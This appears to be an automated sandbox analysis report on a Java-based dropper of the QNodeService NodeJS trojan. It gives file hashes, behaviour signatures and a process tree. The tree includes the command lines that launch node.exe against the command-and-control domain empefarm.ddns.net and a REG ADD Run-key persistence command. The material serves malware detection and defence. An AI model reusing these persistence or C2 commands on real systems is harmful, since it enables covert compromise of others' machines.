Analysis
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max time kernel
128s -
max time network
132s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
05-10-2020 13:14
Static task
static1
Behavioral task
behavioral1
Sample
list of equipment_puma_pdf.jar
Resource
win7
Behavioral task
behavioral2
Sample
list of equipment_puma_pdf.jar
Resource
win10v200722
General
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Target
list of equipment_puma_pdf.jar
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Size
258KB
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MD5
9d5548aa1a52a4fd8cc9ad1c64a23a09
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SHA1
72474bd84027c0aa72b09c3f48e1c57ecf935bb2
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SHA256
0d7b48039793c6f044e4d7b6f42898adbe1e9d722ec37a12c7073cdfffa63db6
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SHA512
c73296d0b6cd972a90eef0e7a4c32874cf190cf2d545f2f1338ce2d3bf7dfc784a46bf514be6b7d2ebb92124e610c86667a53f7d3ebe5c31a5791a6ef8e90eb6
Malware Config
Signatures
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QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
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Executes dropped EXE 3 IoCs
Processes:
node.exenode.exenode.exepid process 3580 node.exe 788 node.exe 3184 node.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\8aa35a81-23a1-45e0-be91-c4ef6db99f6f = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\"" reg.exe -
JavaScript code in executable 3 IoCs
Processes:
resource yara_rule C:\Users\Admin\node-v14.12.0-win-x64\node.exe js C:\Users\Admin\node-v14.12.0-win-x64\node.exe js C:\Users\Admin\node-v14.12.0-win-x64\node.exe js -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 21 wtfismyip.com 22 wtfismyip.com -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
node.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe -
Suspicious behavior: EnumeratesProcesses 18 IoCs
Processes:
node.exenode.exenode.exepid process 3580 node.exe 3580 node.exe 3580 node.exe 3580 node.exe 788 node.exe 788 node.exe 788 node.exe 788 node.exe 3184 node.exe 3184 node.exe 3184 node.exe 3184 node.exe 3184 node.exe 3184 node.exe 3184 node.exe 3184 node.exe 3184 node.exe 3184 node.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
java.exejavaw.exenode.exenode.exenode.execmd.exedescription pid process target process PID 3956 wrote to memory of 3516 3956 java.exe javaw.exe PID 3956 wrote to memory of 3516 3956 java.exe javaw.exe PID 3516 wrote to memory of 3580 3516 javaw.exe node.exe PID 3516 wrote to memory of 3580 3516 javaw.exe node.exe PID 3580 wrote to memory of 788 3580 node.exe node.exe PID 3580 wrote to memory of 788 3580 node.exe node.exe PID 788 wrote to memory of 3184 788 node.exe node.exe PID 788 wrote to memory of 3184 788 node.exe node.exe PID 3184 wrote to memory of 2180 3184 node.exe cmd.exe PID 3184 wrote to memory of 2180 3184 node.exe cmd.exe PID 2180 wrote to memory of 1648 2180 cmd.exe reg.exe PID 2180 wrote to memory of 1648 2180 cmd.exe reg.exe
Processes
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C:\ProgramData\Oracle\Java\javapath\java.exejava -jar "C:\Users\Admin\AppData\Local\Temp\list of equipment_puma_pdf.jar"1⤵
- Suspicious use of WriteProcessMemory
PID:3956 -
C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe"C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\3356b8c6.tmp2⤵
- Suspicious use of WriteProcessMemory
PID:3516 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain empefarm.ddns.net3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3580 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_kqDsWh\boot.js --hub-domain empefarm.ddns.net4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:788 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_kqDsWh\boot.js --hub-domain empefarm.ddns.net5⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3184 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "8aa35a81-23a1-45e0-be91-c4ef6db99f6f" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""6⤵
- Suspicious use of WriteProcessMemory
PID:2180 -
C:\Windows\system32\reg.exeREG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "8aa35a81-23a1-45e0-be91-c4ef6db99f6f" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""7⤵
- Adds Run key to start application
PID:1648
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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MD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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MD5
9d5548aa1a52a4fd8cc9ad1c64a23a09
SHA172474bd84027c0aa72b09c3f48e1c57ecf935bb2
SHA2560d7b48039793c6f044e4d7b6f42898adbe1e9d722ec37a12c7073cdfffa63db6
SHA512c73296d0b6cd972a90eef0e7a4c32874cf190cf2d545f2f1338ce2d3bf7dfc784a46bf514be6b7d2ebb92124e610c86667a53f7d3ebe5c31a5791a6ef8e90eb6
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MD5
c686d5fcf94d07f7cee70109eba9c4d3
SHA1588eee04fdbf1fa372c8389c66d581e0b37afd7e
SHA256e7e4897c0bbcd7e2931011f7839a0ebe920dc14e116fb898fc5e318827dc425d
SHA5125af3b52daafe41bf891dcd846c3b8c15c04d1da2cdb28c915cf970f2fbe3d7bba6b6fc7c291a431a2d0a437f159322401eb8aa567a146763d665ca76677853a3
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MD5
f0b11a5823c45fc2664e116dc0323bcb
SHA1612339040c1f927ec62186cd5012f4bb9c53c1b9
SHA25616fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99
SHA5120e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac
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MD5
f0b11a5823c45fc2664e116dc0323bcb
SHA1612339040c1f927ec62186cd5012f4bb9c53c1b9
SHA25616fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99
SHA5120e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac
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MD5
f0b11a5823c45fc2664e116dc0323bcb
SHA1612339040c1f927ec62186cd5012f4bb9c53c1b9
SHA25616fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99
SHA5120e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac